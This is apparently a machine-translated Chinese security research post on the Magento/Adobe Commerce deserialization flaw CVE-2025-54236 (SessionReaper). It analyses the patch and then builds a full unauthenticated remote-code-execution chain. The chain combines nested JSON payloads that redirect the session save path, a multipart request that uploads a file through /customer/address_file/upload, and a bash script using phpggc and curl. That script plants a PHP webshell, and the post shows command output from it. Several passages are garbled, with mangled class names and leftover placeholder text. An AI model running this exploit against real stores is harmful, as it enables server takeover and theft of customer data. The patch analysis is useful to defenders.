你中招了嘛?为什么嵌套反序列化仍然有害 — Magento 远程代码执行(CVE-2025-54236)

Magento 仍然是互联网上最流行的电子商务解决方案之一,据估计有超过 13 万个网站在使用它。Adobe 也以 Adobe Commerce 的名义提供企业版 Magento,该版本可自动更新补丁。
另一个关键漏洞Magento/Adobe Commerce 已发布漏洞公告:CVE-2025-54236,又称 SessionReaper。Adobe 将此问题描述为“安全功能绕过”,在发布公告时尚无公开的概念验证。该漏洞由 [此处应填写漏洞发现者姓名] 发现。Blaklis并通过以下方式宣布Sansec
尽管 Adobe 对此问题的重视程度有所降低,但我们认为这是一个非常严重的漏洞。在使用基于文件的会话存储的实例中,未经身份验证的用户很容易就能远程执行代码。不使用基于文件的会话存储的实例(例如使用 Redis 的实例)也可能存在此漏洞。本文将探讨利用此漏洞所需的步骤和前提条件。

Patch analysis

为了了解问题的真正所在,我们仔细研究了……Adobe 的补丁该补丁主要改变 API 端点接收的输入的类型反序列化工作方式。
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
             if (isset($data[$parameter->getName()])) {
                 $parameterType = $this->typeProcessor->getParamType($parameter);

               // Allow only simple types or Api Data Objects
               if (!($this->typeProcessor->isTypeSimple($parameterType)
                   || preg_match('~\\?\w+\\\w+\\Api\\Data\\~', $parameterType) === 1
               )) {
                   continue;
               }
+
                 try {
                     $res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
                 } catch (\ReflectionException $e) {
在这个补丁中,他们将构造函数中可以实例化的类型限制为“简单”类型(字符串、整数、浮点数、双精度浮点数和布尔值)以及名称符合特定模式的类型,例如 int MagentoTaxApiDataTaxRateInterface。考虑到这一点,我们知道我们要寻找的是复杂类型,例如 ` MagentoFrameworkSimplexmlElementint`和 `boolean`。之前Magento的关键漏洞
来自 SanSec 的建议 声明指出,利用该漏洞需要基于文件的会话存储,因此我们无法使用相同的存储方式。 Magento Docker 仓库 和上次一样。这次,我们从 GitHub 安装了纯净版的 Magento 2.4,并将其部署在 Ubuntu 虚拟机上。公开指南有了可用的环境,我们就可以开始寻找漏洞了。
简单回顾一下,Magento 的反序列化机制是一套复杂的自定义代码。该类MagentoFrameworkWebapiServiceInputProcessor包含了大部分逻辑,它接收一个嵌套的 PHP 数组对象,并将其转换为目标类。为此,反序列化器会递归地检查对象的可设置字段,并将输入数组映射到相应的类型。
设置对象字段有两种方法:
  • 使用类型化参数作为构造函数参数,或者
  • 使用对象的公共 setter 函数(例如public function setBlah(Blah $blah)
protected function _createFromArray($className, $data)
{
    ...
    // 1. Set using the constructor
    $constructorArgs = $this->getConstructorData($className, $data);
    $object = $this->objectManager->create($className, $constructorArgs);

    // 2. Set using public setters
    foreach ($data as $propertyName => $value) {
        if (isset($constructorArgs[$propertyName])) {
            continue;
        }

        $camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);
        try {
            $methodName = $this->getNameFinder()->getGetterMethodName($class, $camelCaseProperty);
            ...
            if ($methodReflection->isPublic()) {
                $returnType = $this->typeProcessor->getGetterReturnType($methodReflection)['type'];
                try {
                    $setterName = $this->getNameFinder()->getSetterMethodName($class, $camelCaseProperty); // 2.
                } catch (\Exception $e) {
                    ...
                }
                ...
                $this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
                $object->{$setterName}($setterValue);
            }
        } catch (\LogicException $e) {
            $this->processInputErrorForNestedSet([$camelCaseProperty]);
        }
    }
    ...
}
不过,我们首先需要确定一些类型。以下是一些示例。Sergey’s notes 在梳理未经身份验证的 API 方法时,我们得出以下几种类型:
  • MagentoQuoteModelQuotePayment
  • MagentoQuoteModelQuoteAddress
  • MagentoQuoteModelQuoteItem
  • MagentoQuoteModelCartTotalsAdditionalData
  • MagentoFrameworkApiSearchCriteria
  • MagentoCheckoutModelShippingInformation
  • MagentoCheckoutModelTotalsInformation
  • MagentoGiftMessageModelMessage
  • MagentoCustomerModelDataCustomer
然而,我们仍然需要一个目标类型来尝试进行链式攻击。鉴于此漏洞名为“SessionReaper”,我们推测它最终会出现在会话处理代码附近。查看代码后,我们MagentoFrameworkSessionSessionManager发现了一些非常有趣的功能:
class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface{
    public function __construct(
        \Magento\Framework\App\Request\Http $request,
        SidResolverInterface $sidResolver,
        ConfigInterface $sessionConfig,
        SaveHandlerInterface $saveHandler,
        ValidatorInterface $validator,
        StorageInterface $storage,
        \Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
        \Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
        \Magento\Framework\App\State $appState,
        ?SessionStartChecker $sessionStartChecker = null) {
        $this->request = $request;
        $this->sidResolver = $sidResolver;
        $this->sessionConfig = $sessionConfig;
        $this->saveHandler = $saveHandler;
        $this->validator = $validator;
        $this->storage = $storage;
        $this->cookieManager = $cookieManager;
        $this->cookieMetadataFactory = $cookieMetadataFactory;
        $this->appState = $appState;
        $this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
            SessionStartChecker::class
        );
        $this->start();
    }

    public function start()
    {
        if ($this->sessionStartChecker->check()) {
            if (!$this->isSessionExists()) {
                ...
                $this->initIniOptions();
                $this->registerSaveHandler();
                ...
                session_start();
                ...
                $this->validator->validate($this);
                ...
            } else {
                $this->validator->validate($this);
            }
            $this->storage->init(isset($_SESSION) ? $_SESSION : []);
        }
        return $this;
    }

    private function initIniOptions()
    {
        ...
        foreach ($this->sessionConfig->getOptions() as $option => $value) {
            if ($option === 'session.save_handler' && $value !== 'memcached') {
                continue;
            } else {
                $result = ini_set($option, $value);
                ...
            }
        }
    }
}

 

通过设置$sessionConfig,我们可以控制传递给的选项ini_set(),其中包括一些非常有趣且敏感的选项MagentoFrameworkSessionConfig并非所有这些选项都可用,还需要检查底层类型。
class Config implements ConfigInterface{
    public function __construct(
        \Magento\Framework\ValidatorFactory $validatorFactory,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\Stdlib\StringUtils $stringHelper,
        \Magento\Framework\App\RequestInterface $request,
        Filesystem $filesystem,
        DeploymentConfig $deploymentConfig,
        $scopeType,
        $lifetimePath = self::XML_PATH_COOKIE_LIFETIME) {
        ...
        $savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
        if (!$savePath && !ini_get('session.save_path')) {
            $sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
            $savePath = $sessionDir->getAbsolutePath();
            $sessionDir->create();
        }
        if ($savePath) {
            $this->setSavePath($savePath);
        }
        ...
    }

    public function setSavePath($savePath)
    {
        $this->setOption('session.save_path', $savePath);
        return $this;
    }
}
这样我们就可以控制会话的读取路径了!通过$deploymentConfig参数的路径最终会变成一个误导,有点像掉进兔子洞(但也差点儿就用到了远程文件包含——检查一下MagentoFrameworkAppDeploymentConfigReader),但我们可以直接访问setSavePath,因为它是一个公共的设置函数。
我们编写了一个非常粗略的脚本来绘制从源类型到目标类型的链条。由此得到了以下类型链条:
  • MagentoQuoteModelQuotePayment
  • MagentoPaymentHelperData
  • MagentoFrameworkAppHelperContext
  • MagentoFrameworkUrl
  • MagentoFrameworkSessionGeneric
  • MagentoFrameworkSessionSaveHandler
  • MagentoFrameworkSessionConfig
将所有部件组装在一起后,我们发出请求并……
PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265

{"paymentMethod": {"paymentData": {"context": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "does/not/exist"}}}}}}}
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8

{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}
… 成功?
查看应用程序错误日志可以获得更多信息:
Warning: SessionHandler::read(): open(does/not/exist/sess_testing, O_RDWR) failed: No such file or directory (2)
成功!
值得注意的是,早在2024年,Sergey noted也发现了同样的错误。
Another thing to note is that a save path that doesn’t exist will always cause an internal server error. On patched instances, the application will instead return a 400 Bad Request. This makes it a good payload for determining if a server is vulnerable.
Many other payloads exist, too, for example:
{
  "paymentMethod": {
    "paymentData": {
      "context": {
        "urlDecoder": {
          "urlBuilder": {
            "request": {
              "pathInfoProcessor": {
                "helper": {
                  "backendUrl": {
                    "session": {
                      "sessionConfig": {
                        "savePath": "PATH"
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
会话配置类也可以通过其他类型访问,例如 <session_config_class>MagentoQuoteModelQuoteAddress和 ` <session_config_class> MagentoQuoteModelQuoteItem`。这意味着也可以使用其他 API 端点。将这些与类似 `<session_config_class>` 的工具结合使用,可以更方便地进行配置。nowafpls这意味着绕过可能阻止未修改有效载荷的 WAF 非常容易。
对于基于 Redis 的会话存储,此有效负载将无法工作。MagentoFrameworkSessionSaveHandlerRedis它不会访问本地文件系统,因此需要使用 Redis 特有的数据写入方法。然而,在这种情况下,反序列化链就变得不必要了,因为您可以写入一个具有特定名称的 Redis 键来实现反序列化(这在当前版本的 Magento 中似乎是不可能的)。尽管如此,Magento 中仍有数百个可访问的类,因此可能存在其他方法,例如允许您读取、写入和执行文件。
最后需要注意的是,保存路径可以是相对路径(../)也可以是绝对路径(/var/www/html/)。它相对于pub/网站根目录运行。它不支持 URI(file://例如,、http://等),因此对于完整的有效负载,我们需要某种方式将文件写入磁盘。

未经认证的文件上传

Magento 处理用户输入的方式不仅限于 API 端点。代码库中还包含其他路由,这些路由在routes.xml文件中指定。例如,该文件magento2/app/code/Magento/Customer/etc/frontend/routes.xml包含以下内容:
<?xml version="1.0"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route id="customer" frontName="customer">
            <module name="Magento_Customer" />
        </route>
    </router>
</config>
此文件中需要注意的重要内容是以下几行:
  • router id="..."它指定了使用的请求路由器类型。有两种类型:“admin”和“standard”。我们感兴趣的是“standard”。
  • route id="...",它指定路由所在的端点。例如,所有 Customer 控制器都位于/customer
  • module name="...",它提供了控制器所在的路径。该值Magento_Customer映射到magento2/app/code/Magento/Customer/,也就是我们最终找到Controller/子文件夹的位置。
在控制器文件夹中翻找时,我们发现了这个有趣的文件:Customer/Controller/Address/File/Upload.php
<?php
...
class Upload extends Action implements HttpPostActionInterface{
    ...
    public function execute()
    {
        try {
            $requestedFiles = $this->getRequest()->getFiles('custom_attributes');
            if (empty($requestedFiles)) {
                $result = $this->processError(__('No files for upload.'));
            } else {
                $attributeCode = key($requestedFiles);
                $attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);

                $fileUploader = $this->fileUploaderFactory->create([
                    'attributeMetadata' => $attributeMetadata,
                    'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
                    'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
                ]);

                $errors = $fileUploader->validate();
                if (true !== $errors) {
                    $errorMessage = implode('</br>', $errors);
                    $result = $this->processError(($errorMessage));
                } else {
                    $result = $fileUploader->upload();
                    $this->moveTmpFileToSuitableFolder($result);
                }
            }
        } catch (...) {
            ...
        }

        $resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
        $resultJson->setData($result);
        return $resultJson;
    }
    /**
     * Move file from temporary folder to the 'customer_address' media folder
     *
     * @param array $fileInfo
     * @throws LocalizedException
     */
    private function moveTmpFileToSuitableFolder(&$fileInfo)
    {
        $fileName = $fileInfo['file'];
        $fileProcessor = $this->fileProcessorFactory
            ->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);

        $newFilePath = $fileProcessor->moveTemporaryFile($fileName);
        $fileInfo['file'] = $newFilePath;
        $fileInfo['url'] = $fileProcessor->getViewUrl(
            $newFilePath,
            'file'
        );
    }
    ...
}
这是一个未经身份验证的端点,似乎用于处理用户从字段上传的文件custom_attributes,并且不需要任何身份验证。深入研究该类中调用的一些方法,我们发现了一些有趣的限制和验证逻辑。
上传的文件不能带有受保护的扩展名(例如 .php、.html、.xml——app/code/Magento/Store/etc/config.xml完整列表请参见[此处]),但所有其他文件,包括没有扩展名的文件,均被允许上传。需要注意的是,在[此处] $fileProcessor->moveTemporaryFile(),文件名不会被修改,除非文件已存在,此时会在上传的文件名后附加_1_2/// _3etc”。
尽管直觉告诉我们端点应该可以通过 <address> 访问/customer/address/file/upload,但实际上它可以通过 `<address>` 访问/customer/address_file/upload。代入一个必要的form_key参数(可以是任何值,只要它在 cookie 和表单参数中相同即可),我们期望得到一个已上传的文件。
POST /customer/address_file/upload HTTP/1.1
Host: 192.168.198.130
Content-Length: 310
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes"; filename="test_file"
Content-Type: text/plain

Hello
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
但这却导致了以下错误:
{
  "error": "No such entity with entityType = customer_address, attributeCode = name",
  "errorcode": 0
}
当我们按下 ` $attributeCode = key($requestedFiles)and`时会出现此错误getAttributeMetadata($attributeCode)。PHPkey()中的 `get` 函数会获取给定数组中的下一个键,它主要与next()`for` 循环一起使用,用于遍历数组元素。但是,单独使用时,它只会获取数组的第一个键。
插入一个 avar_dump($requestedFiles)可以解释为什么我们最终name得到attributeCode
array(6) {
  ["name"]=>
  string(9) "test_file"
  ["full_path"]=>
  string(9) "test_file"
  ["type"]=>
  string(10) "text/plain"
  ["tmp_name"]=>
  string(14) "/tmp/phpMsGHbm"
  ["error"]=>
  int(0)
  ["size"]=>
  int(5)
}
这让我们困惑了好一会儿。我们该如何通过这个attributeCode检查呢?我们需要name在对象上设置一个名为 `target` 的自定义属性吗?毕竟,这段代码确实暗示了自定义属性的存在。或者我们需要用其他方式指定目标属性?也许我们遗漏了其他更简单的接口?
经过一番尝试和摸索,以及对……的观察底层请求解析器代码我们发现这个问题很容易解决。只需将表单输入名称从 `<input name>` 改为 `< custom_attributesinput custom_attributes[SOME_ATTRIBUTE]array name>`,输入数组的结构就会发生变化,这样我们就可以指定任何我们想要的属性了。
array(1) {
  ["SOME_ATTRIBUTE"]=>
  array(6) {
    ["name"]=>
    string(9) "test_file"
    ["full_path"]=>
    string(9) "test_file"
    ["type"]=>
    string(10) "text/plain"
    ["tmp_name"]=>
    string(14) "/tmp/phpk8FWf6"
    ["error"]=>
    int(0)
    ["size"]=>
    int(5)
  }
}
但是,我们仍然需要一个有效的属性代码。在数据库中查找后,我们找到了一系列内置属性供尝试:
mysql> SELECT attribute_code, frontend_input FROM eav_attribute
    -> WHERE entity_type_id = (
    ->   SELECT entity_type_id FROM eav_entity_type
    ->   WHERE entity_type_code = 'customer_address'
    -> );
+---------------------+----------------+
| attribute_code      | frontend_input |
+---------------------+----------------+
| city                | text           |
| company             | text           |
| country_id          | select         |
| fax                 | text           |
| firstname           | text           |
| lastname            | text           |
| middlename          | text           |
| postcode            | text           |
| prefix              | text           |
| region              | text           |
| region_id           | hidden         |
| street              | multiline      |
| suffix              | text           |
| telephone           | text           |
| vat_id              | text           |
| vat_is_valid        | text           |
| vat_request_date    | text           |
| vat_request_id      | text           |
| vat_request_success | text           |
+---------------------+----------------+
继续往下看,我们很快找到了一个有效的属性:country_id。把它代入表单后,就得到了我们想要的结果。
POST /customer/address_file/upload HTTP/1.1Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain

Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{"name": "test_file","full_path": "test_file","type": "text/plain","tmp_name": "test_file","error": 0,"size": 11,"file": "/t/e/test_file","url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"}
我们已成功上传文件,文件内容已写入该文件pub/media/customer_address/t/e/test_file

把所有东西整合起来

最后一步还需要完成:我们需要一个有效载荷供会话管理器反序列化。一种方法是创建一个伪造的会话,然后用它来访问客户/管理员帐户。更有趣的方法是尝试获取代码执行权限。
phpggc幸好它内置了有效载荷,我们无需自行寻找。查看 Magento 的 composer.json 文件中的依赖项,我们发现它使用了 Guzzle,而 Guzzle 具有任意文件写入有效载荷。虽然它需要知道网站根目录在磁盘上的位置,但这足以满足我们的需求。
为了实现这个功能,我们需要一些额外的选项。-se“/”--session-encode是必需的,这样才能确保会话序列化格式正确。phpggc 喜欢在有效负载数据中插入额外的换行符,并在属性名称中插入空字节,因此我们也需要-a“/”--ascii-strings来进行编码。
将 phpggc 添加到攻击链中,我们便可得到以下漏洞利用脚本:
HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)

./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"

curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
请注意,服务器可能会对最后一个响应中的购物车 ID 提出异议并返回 404 错误。这是正常现象,表示有效载荷已成功反序列化。我们可以通过向上传的有效载荷发送请求来检查攻击是否成功:
$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub

n"}]

结语

鉴于这是 Magento 第二次出现反序列化问题,仍然存在一个很大的问题:这个补丁足够吗?
就目前来看,确实如此。通过在类型链搜索脚本中添加新的限制条件,我们发现最多只能搜索到三层类型,之后就会耗尽允许的类型和 setter 函数的数量。
MagentoQuoteModelQuotePayment
  MagentoQuoteApiDataPaymentExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoQuoteModelQuoteItem
  MagentoQuoteApiDataCartItemExtensionInterface
  MagentoQuoteModelQuoteProductOption
    MagentoQuoteApiDataProductOptionExtensionInterface
MagentoQuoteModelCartTotalsAdditionalData
  MagentoQuoteApiDataTotalsAdditionalDataExtensionInterface
MagentoFrameworkApiSearchCriteria
  MagentoFrameworkApiSearchFilterGroup
  MagentoFrameworkApiSortOrder
MagentoCheckoutModelShippingInformation
  MagentoCheckoutApiDataShippingInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoCheckoutModelTotalsInformation
  MagentoCheckoutApiDataTotalsInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoGiftMessageModelMessage
MagentoCustomerModelDataCustomer
Adobe 和第三方插件开发者都需要注意,不要为他们不希望用户创建的类型引入任何设置函数。此外,他们在对这些数据进行后续处理时也需要格外谨慎。

发表回复